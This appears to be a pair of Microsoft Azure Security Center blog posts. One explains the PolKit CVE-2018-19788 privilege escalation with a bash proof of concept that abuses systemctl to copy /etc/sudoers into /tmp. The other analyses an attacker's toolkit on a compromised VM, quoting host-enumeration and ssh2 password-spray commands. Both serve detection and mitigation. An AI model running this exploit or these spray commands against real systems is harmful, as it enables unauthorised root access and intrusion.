Azure Security Center can detect emerging vulnerabilities in Linux

Recently a new flaw was discovered in PolKit - a component which controls system-wide privileges in Unix OS. This vulnerability potentially allows unprivileged account to have root permission. In this blog post, we will focus on the recent vulnerability, demonstrate how attacker can easily abuse and weaponize it. In addition, we will preset how Azure Security Center can help you detect threats, and provide recommendations for mitigation steps.

The PolKit vulnerability

PolKit (previously known as PolicyKit) is a component that provides centralized way to define and handle policies and controls system-wide privileges in Unix OS. The vulnerability CVE-2018-19788 was caused due to improper validation of permission requests. It allows a non-privileged user with user id greater than the maximum integer to successfully execute arbitrary code under root context.

The vulnerability exists within PolKit’s versions earlier than 0.115, which comes pre-installed by some of the most popular Linux distributions. A patch was released, but it required a manual install by the relevant package manager issuer.
You can check if your machine is vulnerable by running the command “pkttyagent -version” and verify that your PolKit’s version is not vulnerable.

How an attacker can exploit this vulnerability to gain access to your environment

We are going to demonstrate a simple exploitation inspired from a previously published proof of concept (POC). The exploitation shows how an attacker could leverage this vulnerability for achieve privilege escalation technique and access restrict files. For this demonstration, we will use one of the most popular Linux distributions today.

First, we verify that we are on vulnerable machine by checking the PolKit version. Then, we verify that the user ID is greater than the maximal integer value.

Now, that we know we are on vulnerable machine, we can leverage this flaw by using another pre-installed tool, Systemctl, that uses PolKit as the permission policy enforcer and has the ability to execute arbitrary code. If you take closer look into CVE-2018-19788, you would find Systemctl is impacted by the vulnerability. Systemctl is one of Systemd utilities, and the system manager that is becoming the new foundation for building with Linux.

Using Systemctl, we will be able to create a new service in order to execute our malicious command with root context. Because of the flaw in PolKit, we can bypass the permission checks and runs systemctl operations. Let’s take a look at how we can do that.

Bash script content:

#!/bin/bash

cat <<EOF >> /tmp/polKitVuln.service

[Unit]

Description= Abusing PolKit Vulnerability

[Service]

ExecStart=/bin/bash -c 'cat /etc/sudoers > /tmp/sudoersList.txt'

Restart=on-failure

RuntimeDirectoryMode=0755

[Install]

WantedBy=multi-user.target

Alias= polKitVuln.service

EOF

systemctl enable /tmp/polKitVuln.service

systemctl start polKitVuln.service

First, we define a new service and provides the required information to “/tmp/polkitVuln.service”. The ExecStart directive contains our command (bolded above), accesses the sudoers file, and copies its content to a share folder. This shared folder can be accessed by unprivileged users. The Sudoers file is one of the most important files in the system, as it contains the users and groups privileges information of the machine. At the last part of the script, we make the actual call for systemctl tool to create and start our new service.

Execute the script:

Notice the errors regarding Polkit failing to handle the uid field. As the Sudoers file is copied using the exploitation, we can read its content.

With this vulnerability attackers can bypass permissions to check and gain root access to your environment.

Protect against and respond to threats with Azure Security Center

Azure Security Center can help detect threats, such as the PolKit vulnerability, and help you quickly mitigate these risks. Azure Security Center consolidates your security alerts into a single dashboard, making it easier for you to see the threats in your environment and prioritize your response to threats. Each alert gives you a detailed description of the incident as well as steps on how to remediate the issue.

While we investigate Azure Security Center hosts impact, we could determine what is the frequency in which machines are under attack and using behavioral detection techniques, inform customers when they have been attacked. Below is the security alert based on our previous activity which you can see in Security Center.

In addition, Azure Security Center provides a set of steps that enable customers to quickly remediate the problem:

◈ System administration should not allow negative user IDs or user IDs greater than 2147483646.

     ◈ Verify user ID maximum and minimum values under “/etc/login.defs.”

◈ Upgrade your policykit package by the package manager in advance.

Continue reading

Leverage Azure Security Center to detect when compromised Linux machines attack

When an attacker compromises a machine, they typically have a goal in mind. Some attackers are looking for information residing on the victim’s machine or are looking for access to other machines on the victim’s network. Other times, attackers have plans to use the processing power of the machine itself or even use the machine as a launch point for other attacks. While on Linux virtual machines (VM) in Microsoft Azure we most commonly see attackers installing and running cryptocurrency mining software. This blog post will focus on the latter when an attacker wants to use the compromised machine as a launch point for other attacks.

Azure Security Center (ASC) utilizes an agent that runs on multiple distributions of Linux. When auditd is enabled, it collects logs including process creation events. These are run through the detection pipeline to look for malicious and suspicious activity. Alerts are surfaced through the ASC portal.

The Microsoft Threat Intelligence Center uses a range of methods to identify new emerging threats, including a sophisticated hybrid Linux honeypot service. A honeypot is a decoy system, set up to be attacked and lure cyber attackers to reveal themselves.

In this post, we discuss some recent instances where attacks against the honeypot originated from IPs within customer machines. In each case, malicious behavior on those compromised customer VMs had already resulted in alerts being raised through Azure Security Center. Analysis of these attacks yielded greater insight into the attacker’s behavior. This fed further detection development, allowing us to surface more attack behavior to customers earlier, and provide a more complete view of the attack end to end.

Initial intrusion

The diagram below shows the attack setup. The analysis suggests that an Apache Cassandra account with a default password was used to initially compromise an Azure VM. Once access was gained, the attack approached the honeypot (1) and other targets (2). We identified two IP addresses (3, 4) that the attacker used to log into this VM, one of which also attacked the honeypot (5). Another thing that stood out was the two IPs that the attacker was using shared the same first two octets and resolved to Romania. We will come back to this fact later.

Intrusion breakdown

One of the more common attacks that we see against customer virtual machines is a brute force or password spray attack, these quickly lead to the installation of crypto coin mining malware. In this case, the malicious user was doing something a bit different.

Host enumeration

After the initial compromise, the attacker pulled down a perl based host enumeration script from the domain nasapaul.com which hosts a few enumeration and speed test scripts. Azure Security Center surfaces this behavior via a “detected file download from a known malicious source” alert.

That script looks for specific information in the /proc/cpuinfo file to give the attacker an idea of what kind of machine they are on. You can see some of the commands run in the text box below. That same script also runs a speed test which is a service that nasapaul.com offers.

CPU=$(grep –m 1 “model name” /proc/cpuinfo | cut –d: –f2 | sed-e ‘s/^ */ /’ |sed –e ‘s/$/ / ‘)

CPUS=$ (grep –c ^processor /proc/cpuinfo)

STEP=$ (grep –m 1 “stepping” /proc/cpuinfo | cut –d: –f2 | sed –e ‘s/^ */ / ‘ | sed –e ‘s/$/ / ‘) 

BOGO=$ (grep –m 1 “stepping” /proc/cpuinfo | cut –d: –f2 | sed –e ‘s/^ */ / ‘ | sed –e ‘s/$/ / ‘)

OS=$ (lsb_release –si)

ram=$ (free –m | grep –oP ‘\d+’ | head –n 1)

VER=$ (uname –a)

uptime=$ (</proc/uptime)

uptime=$ {uptime%%. *} bold=$ (tput bold)

zile=$ ( ( uptime%60 ( )

secunde=$ ( ( uptime%60 ) )

minute=$ ( ( uptime/60%60 ) )

ore=$ ( ( uptime/60/60%24 ) )

vid=$ (lspci | grep VGA |cut -f5- -d ‘ ‘)

DISK=$ (df –h --total | grep total |awk ‘ {printf “” $2 “B\n\n” } ‘ )

Initial exploitation

That session ended, but the attacker started a new session and created a connection to a secure FTP server and pulled some files down. Then they modified the files for execution:

chmod +x 1 cyberinfo cybernetikrandom go h4e petarda port pscan2 screen speedtestvps.py sshd

This set of files is a toolkit from a known hacking group. The attacker uses the “go” file to run “pscan2” and “sshd” against two different class B IP ranges. That means they ran the scan against just over 65,000 addresses. They also used the tool “h4e” which our investigation showed was a perl script used in denial of service attacks. The text file “port” holds results of the scans, typically what IPs were listening too and maybe what ports were open. It isn’t clear if those commands completed successfully, but two hours later the attacker deleted them all and pulled down a different kit.

Password spray

This time the attacker used Wget to pull down their toolkit from a public website. As they did before, they pulled down the tools then modified them all for execution.

chmod +x a all classes co gasite.txt hu pass range scan.log ssh2 x

/bin/bash ./a ##.49

./ssh2 1500 -b ##.49 pass 22 "uname -a & lscpu"

/bin/bash ./a ###.66

./ssh2 1500 -b ###.66 pass 22 "uname -a & lscpu"

nano gasite.txt

After that, the same simple pattern is repeated against a number of class B ranges. The file “a” takes the first two octets of a class B range as input, then calls “ssh2”. “ssh2” takes input for a number of threads, the range, a password file (“pass” which in this case contains over 35,000 user/password combinations), a port number, and then the initial commands to run. The file “gasite.txt” collects output.

Later on, we see the files “co” and “range” used with the “classes” folder. The “classes” folder has details of 26 cloud and hosting companies with their IP ranges. Microsoft is there along with all the other major providers. The files “co” and “range” just expand the initial two octets into a full IP.

The attacker didn’t appear to ever execute the files “all”, “hu”, or “x” but they all have to do with configuring IP ranges, specifically filling out the full four octets of an IP. It is possible that the “ssh2” executable uses them.

Analysis of the toolkit took some effort. The output filename “gasite.txt” translates to “found.txt” and the “ssh2” file is a custom Romanian version of an ssh scanner packed and/or obfuscated using UPX. Once unpacked, the Romanian strings came through (see image below). Some further research by the red team tracked down the original ssh2 source code and a forum where our attacker or someone using the same executable, was getting some help with their code.

Result: Enhanced behavioral analytics in Azure Security Center

While investigating the intrusion, we were able to pull out a number of unique TTPs for inclusion into new analytics or for improving existing ones. They uncovered things like better password spray detection and improved coverage of attacker host enumeration. We were also able to validate that existing analytics fired as expected. The goal isn’t to show a customer multiple redundant alerts for the same intrusion, but to provide insight into the full scope of an attacker’s actions. We also acknowledge that the actor behind this attack could change some aspects of their technique. The greater the detection coverage across the attack lifecycle the more resilient we are to changes in attacker methodology. Additionally, specific techniques used by this attacker could be used by other attackers and we’d like to make sure we catch them too.

Recommended actions

Review your alerts regularly in Azure Security Center. The customer received multiple Azure Security Center alerts for this intrusion and the malicious activity stopped soon after and has not appeared again. Azure Security Center consolidates all of your alerts in one centralized location in security alerts. This makes it easy for you to see the severity of your alerts and help you prioritize your response to them. Each alert gives you a detailed description of the incident as well as steps on how to remediate the issue. For further investigation, you can review the alerts in the “Investigation Path”, an interactive and visual way to see every entity involved in the attack.

Change your passwords regularly. While Azure Security Center alerted on the activity, the intrusion could have been prevented through good password hygiene. Of the many username and password combinations in the attacker toolkit, a good chunk of them are defaults that are created when you first install a piece of software. By changing these default passwords or going password-less, you prevent your passwords from being used against you.

Final thoughts

Our team works both ends of the cybersecurity problem. We constantly improve and refine our detections through both public and internal security research. We also are proactive in monitoring the external threat as a key input to ensuring that our detection coverage is most relevant to the attacks facing both Microsoft and its customers. If you have Linux machines in Azure, consider using Azure Security Center to help monitor them and prevent them from targeting others.

In addition to the actions you can take, Microsoft has several physical infrastructure and operational controls in place to help protect the Azure platform. We have over 3,500 cybersecurity experts at Microsoft to help protect, detect, and respond to security threats against our infrastructure and services 24/7, 365 days a year. One of those teams is our team, the Microsoft Threat Intelligence Center. To learn more about our team and how we work to protect against malicious activity in Azure, watch our latest Microsoft Mechanics video.

Continue reading